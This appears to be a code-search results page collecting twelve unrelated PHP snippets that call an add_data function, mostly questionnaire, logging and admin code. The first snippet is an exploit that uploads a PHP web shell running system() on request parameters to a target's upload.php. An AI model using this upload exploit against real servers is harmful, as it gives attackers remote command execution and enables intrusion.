コード例 #1
0
$host = $argv[1];
$path = $argv[2];
$cmd = $argv[3];
$port = 80;
$cmd = urlencode($cmd);
$p = 'http://' . $host . ':' . $port . $path;
echo "\n[+] Trying to Upload File";
$cookie = "Master=HACKERS20%PAL";
$contents = '<?php
$cmd=($_GET[cmd])?$_GET[cmd]:$_POST[cmd];
system($cmd);
?>';
add_data("empty.php", "", "file", "File1");
add_data("soqor.php", $contents, "file", "File2");
add_data("soqor.php", $contents, "file", "File3");
add_data('', '', "init");
$packet = "POST " . $p . "upload.php?&-269001946=1&-834358190=1 HTTP/1.0\r\n";
$packet .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet .= "Referer: http://" . $host . $path . "profile.php?mode=editprofile\r\n";
$packet .= "Accept-Language: it\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet .= "Accept-Encoding: gzip, deflate\r\n";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Cache-Control: no-cache\r\n";
$packet .= "Cookie: " . $cookie . "\r\n\r\n";
$packet .= $data;
connect($packet);
if (eregi("Successfully uploaded <soqor.php>", $html)) {
コード例 #2
0
<b><center>
<?php 
require_once 'util/main.php';
include 'Questionnaire_header.php';
require_once 'util/db_function.php';
$id = $_SESSION['id'];
//$characteristics=array();
$characteristics = $_SESSION['characteristics'];
$value = array();
//passing the value from each field in set1 into value array
for ($j = 0; $j <= 24; $j++) {
    array_push($value, array_values($_POST)[$j]);
    //    writeToFile(array_values($_POST)[$j]);
}
add_data($id, $characteristics, $value, "set1");
$_SESSION['id'] = $id;
$_SESSION['characteristics'] = $characteristics;
?>

<form action="set3.php" method="post" id="add_name_form">
  <p><label> to what extent should the following qualities describe a good leader?</label> 
      <br><br>    
    <?php 
$f = fopen("your_characteristics.txt", "r");
//Read word from the text file and write the contents to the client until end of file
while (!feof($f)) {
    $characteristics_name = fgets($f);
    echo "<select name={$characteristics_name}>{$drop_down_list}</select>{$characteristics_name} <br>";
}
fclose($f);
?>
コード例 #3
0
ファイル: data_input.php プロジェクト: TSalwach/ICPA
}
if (strtotime("00:00") < $now && $now < strtotime("07:00")) {
    $tariff = 1;
}
if ($tm['tm_wday'] == 6 && strtotime("14:00") < $now) {
    $tariff = 1;
}
//saturday
if ($tm['tm_wday'] == 0) {
    $tariff = 1;
}
//sunday
$totals = explode(",", file_get_contents("/icpa/tmp/totals"));
$totals[$tariff] = $totals[$tariff] + $data->kwh;
file_put_contents("/icpa/tmp/totals", implode(",", $totals));
$data->pwr = $data->real_pwr0 + $data->real_pwr1 + $data->real_pwr2;
$data->tariff = $tariff;
$data->tar0 = $totals[0];
$data->tar1 = $totals[1];
unset($data->volt0);
unset($data->volt1);
unset($data->volt2);
unset($data->cur0);
unset($data->cur1);
unset($data->cur2);
$now = time();
require "data_sqlite.php";
open_sqlite();
add_data($data);
close_sqlite();
file_put_contents("/icpa/tmp/data_live", json_encode($data, JSON_NUMERIC_CHECK));
コード例 #4
0
ファイル: cat_edit.php プロジェクト: skyguild/setucoprototype
        $m .= "<p>カテゴリー名を空白にはできません。</p>";
        $_SESSION["message"] = $m;
        url_get("index.php");
    }
    $cat_new = htmlspecialchars($_POST["cat_new"], ENT_QUOTES, "UTF-8");
    $cat_no = $_POST["cat_no"];
    $result_c = call_data("cat_name", "category", " WHERE cat_id='{$cat_no}'");
    $row_c = mysql_fetch_array($result_c);
    update("category", "cat_name='{$cat_new}'", " WHERE cat_id='{$cat_no}'");
    $m = "<p>「{$row_c["0"]}」を「{$cat_new}」に変更しました。</p>";
}
//新規追加
if ($_POST["sub"] == "追加") {
    $table = "category";
    $retu = "cat_name";
    //$retu .= ",cat_parent_id";
    $cat_name = htmlspecialchars($_POST["cat_name"], ENT_QUOTES, "UTF-8");
    //$cat_parent_id = $_POST["cat_parent_id"];
    $value = "'{$cat_name}'";
    //$value .= ",'{$cat_parent_id}'";
    $result = add_data($table, $retu, $value);
    if ($result) {
        $m .= "<p>{$cat_name}を作成しました。</p>";
    } else {
        $m .= "<p>失敗しました。同じカテゴリー名のものがないかご確認ください。</p>";
    }
}
if ($m != "") {
    $_SESSION["message"] = $m;
    url_get("index.php");
}
コード例 #5
0
ファイル: index.php プロジェクト: Leosten/my_phpmyadmin
                                        } else {
                                            if ($action == "add-line") {
                                                $dbname = $_GET["db-name"];
                                                $tablename = $_GET["table-name"];
                                                include "vue/modifier.php";
                                            } else {
                                                if ($action == "remove-table") {
                                                    include "vue/removetable.php";
                                                } else {
                                                    if ($action == "add-data") {
                                                        $key = $_POST["key"];
                                                        $title = $_POST["title"];
                                                        $contenu = $_POST["cont"];
                                                        $tablename = $_GET["table-name"];
                                                        $dbname = $_GET["db-name"];
                                                        $result = add_data($connection, $dbname, $tablename, $key, $title, $contenu);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
} else {
    include "vue/accueil.php";
コード例 #6
0
<?php 
}
if (empty($_POST) === false) {
    if (empty($_POST['offered']) || empty(trim($_POST['description']))) {
        ?>
                    
                    <div class="alert alert-warning alert-dismissible text-center" role="alert">
                        <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span>Add some offers and descriptions
                    </div>
 <?php 
    } else {
        $title = $_POST['offered'];
        $offer = $_POST['description'];
        $data = array($page_id, $title, $offer);
        if ($data) {
            $add = add_data($data);
            header('location:hotel1_galery.php?page_id=1 && msg=Add Offers Successfully');
        } else {
            if (empty($_POST['offered']) || empty($_POST['description'])) {
                ?>
                           
                            <div class="alert alert-danger alert-dismissible text-center" role="alert">
                            <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span><?php 
                echo "Add offers and descriptions ";
                ?>
</div>
<?php 
            }
        }
    }
}
コード例 #7
0
ファイル: dl.php プロジェクト: h16o2u9u/rtoss
if(!empty($dl)){
	if(REFCHECK){
		$c_okurl=count($okurl);
		$is_okurl=false;
		for($i=0; $i<$c_okurl; $i++){
			if(isset($_SERVER['HTTP_REFERER']) && ($is_okurl = strstr($_SERVER['HTTP_REFERER'],$okurl[$i]) !== FALSE))
				break;
			if(!$is_okurl && $i==$c_okurl-1)
				die("指定URL以外からはDLできません");
		}
	}
	count_dl($dl);
	exit;
}
switch($job){
case 'detail':
	if($detail) show_detail($detail);
	break;
case 'admin':
	if($admin_submit) $admin = md5($admin_submit);
	validation($admin);
	if($act) manage($act,$id,$new);
	if($submit=="Add Entry") add_data($new_loc,$new_id,$description,$new_ref);
	show_track();
	break;
default:
	if(time()-filemtime(LOGFILE) > 3600) @copy(LOGFILE,LOGFILE.".bak");
	show_table($top,$option);
}
?>
コード例 #8
0
<?php

require_once 'util/main.php';
include 'Questionnaire_header.php';
$id = $_SESSION['id'];
$Q1 = $_POST['Q1'];
$Q2 = $_POST['Q2'];
$Q3 = $_POST['Q3'];
$Q4 = $_POST['Q4'];
$Q5 = $_POST['Q5'];
add_data($id, $Q1, $Q2, $Q3, $Q4, $Q5, "set5");
$_SESSION['id'] = $id;
?>

The purpose of the present research is to examine if you chose a leadership role that requires you to behave counter stereotypically. The roles presented either did or did not require participants to harshly criticize others and allowed us to see if internalized gender roles mitigated your responses. In order for us to receive honest and valid data and responses, your leadership test results were faked to state you did well. The test themselves were never actually scored. Fake results were necessary to eliminate any doubt over being under-qualified if offered the leadership role, therefore allowing us to see your natural reactions to the role. Also, to simulate a real leadership role in a group setting, we informed you that you would take a short leadership test and then participate in small group task.
However, as you now know, we will not actually have you engage in such a task; such a manipulation was appropriate to invoke you to thoughtfully consider whether or not you would accept or reject the leadership position at the end of the leadership test. This allowed us to draw valid conclusions from peoples’ responses in the post-leadership test questionnaire. We hope that you now understand why the leadership test results were faked and why we first told you you would be performing a group task. 
We hoped to test the hypothesis that women will be more likely to reject a leadership position that requires giving harsh criticism in one to one interactions compared to one that does not require harshly criticizing others. By rejecting the position women are choosing to comply with their feminine gender stereotypes, because women have a higher fear of negative repercussions in leadership roles, such as their group members disliking them and acting negatively towards them.
By contrast, we hypothesized that men will show equal preference for a leadership position, regardless of whether it requires harshly criticizing others or not. We think that the job description that requires giving out harsh criticism matches stereotypical male traits. Male participants will therefore not worry about being disliked by others/negative repercussions because criticizing others is a task commonly associated with masculine qualities (insert reference?)
To that end, we expect that women will be more likely to reject the leadership position in the harsh criticism condition (i.e. job description requiring criticizing group members) than in the no-criticism situation. (i.e. job description without requirement to criticize group members). We expect that men will accept or reject both job descriptions equally. We draw our conclusion from the social role theory (which states that men and women will choose to act in a way that is compliant with their internalized social and gender traits and roles) and also the backlash theory (which states that people will try to avoid social and economic penalties and negative repercussions).
One thing that we ask is for you is to refrain from discussing this study with anyone outside of this lab. If you know other people who might participate in this study, please don’t tell them what it is about. It is vital that no one know what they will be asked to do before they come in to participate in the study. We want to see people’s natural reactions, so it’s important to keep all aspects of our study confidential. 
Thank you very much for your participation in this study. We believe the data we received from you will be very useful in answering some very important questions regarding the ways people respond to different leadership roles. If you have any questions or comments regarding any aspects of this study, feel free to contact Tahnee Marquardt, Lawrence University, 920-268-5535. 


コード例 #9
0
$fname_st = "sever_st.txt";
/*Setting*/
$key = "RHeaalTrrute";
/*Setting*/
$group = array("", array(1), array(1), array(1));
//group[0]都是"",array(0)代表所有人
//==========================
if (strcmp($_POST['key'], $key) != 0) {
    echo "key err";
    return;
}
if (strcmp($_POST['cmd'], "read") == 0) {
    echo read();
}
if (strcmp($_POST['cmd'], "add") == 0) {
    echo add_data();
}
if (strcmp($_POST['cmd'], "del") == 0) {
    echo remove_data();
}
if (strcmp($_POST['cmd'], "edit") == 0) {
    echo edit_data();
}
/*if(strcmp($_POST['cmd'],"res")==0)
	reset_data();
if(strcmp($_POST['cmd'],"show")==0)
	echo show_data();*/
function is_in_group($uid, $gid)
{
    global $group;
    $scan = array($gid);
コード例 #10
0
ファイル: index.php プロジェクト: arctro/Impact
$mysql_password = "";
//Withheld
//conection
$link = mysqli_connect($mysql_host, $mysql_user, $mysql_password, $mysql_database) or die("Error " . mysqli_error($link));
$request = escape_get_post($link, "request");
$json = safe_get_post("json");
$access_id = escape_get_post($link, "access_id");
$delete_code = escape_get_post($link, "delete_code");
if (string_empty($request)) {
    end_func("Empty request");
}
if ($request == 'ADD_DATA') {
    $return = array('error' => '', 'data' => []);
    array_push($return['data'], add_data_header($link));
    $id = $return['data'][0]['id'];
    add_data($link, $id, $json);
    echo json_encode($return);
}
if ($request == 'LOAD_DATA') {
    $return = array('error' => '', 'data' => []);
    $header_data = load_header_data($link, escape_get_post($link, "access_id"));
    $id = $header_data[0]['id'];
    $data = load_data($link, $id);
    array_push($return['data'], $data);
    if ($return == []) {
        end_func("Invalid access_id");
    }
    echo json_encode($return);
}
if ($request == 'DELETE_DATA') {
    $return = array('error' => '', 'data' => []);
コード例 #11
0
ファイル: anti-hammer.php プロジェクト: u007/FlexiPHP
function kill_page($msg)
{
    global $anti_hammer;
    $r_host = '';
    if ($anti_hammer['lookup_failures']) {
        $r_host = gethostbyaddr($anti_hammer['remote_ip']) . ' ';
    }
    if (file_exists(dirname($anti_hammer['log']))) {
        $this_hit = '' . "page:   " . "\t" . $anti_hammer['request'] . "\n" . "time:   " . "\t" . date('Y.m.d h:i:s A') . "\t" . 'ID: ' . $anti_hammer['client_id'] . "\t" . "x " . $GLOBALS['session']['hammer'] . "\n" . "visitor:" . "\t" . $r_host . '[' . $anti_hammer['remote_ip'] . ']' . "\t" . "(" . $anti_hammer['user_agent'] . ")" . "\n" . "accepts:" . "\t" . $anti_hammer['user_accept'] . "\n" . "referer:" . "\t" . $anti_hammer['referrer'] . "\n";
        add_data($anti_hammer['log'], $this_hit . "\n");
    }
    header('Content-Type: text/html; charset=utf-8');
    // Old IE probably still won't play ball, though.
    header('HTTP/1.1 503 Service Temporarily Unavailable');
    // For CGI/*suexec use..
    if (substr(php_sapi_name(), 0, 3) == 'cgi') {
        header('Status: 503 Service Temporarily Unavailable');
    }
    header('Retry-After: ' . ($anti_hammer['final_time'] + 1));
    // the calculation needs to be enclosed in braces to work.
    die($msg);
}
コード例 #12
0
        $category_id = "&nbsp;";
        foreach ($cate_list as $cate) {
            if ($cate['Name'] == $category) {
                $category_id = $cate['Id'];
                break;
            }
        }
        $row_string .= "<td>" . $category_id . "</td>";
        // Amount
        $amount = parse_amount($cells[2]);
        $row_string .= "<td>" . $amount . "</td>";
        // Description
        $description = parse_description($cells[3]);
        $row_string .= "<td>" . $description . "&nbsp;</td>";
        // Insert into database
        add_data($conn, $config, $category_id, $description, $time, $amount, "");
    }
    $row_string .= "</tr>";
    echo $row_string;
}
echo "</table>";
fclose($file);
echo "Added rows from " . ($added_row_count + 1) . " to " . $row_count . "<br/>";
$added_row_count = $row_count;
?>

<form action="xls_importer.php" method="post">
	<input type="hidden" name="added_row_count" value="<?php 
echo $added_row_count;
?>
"/>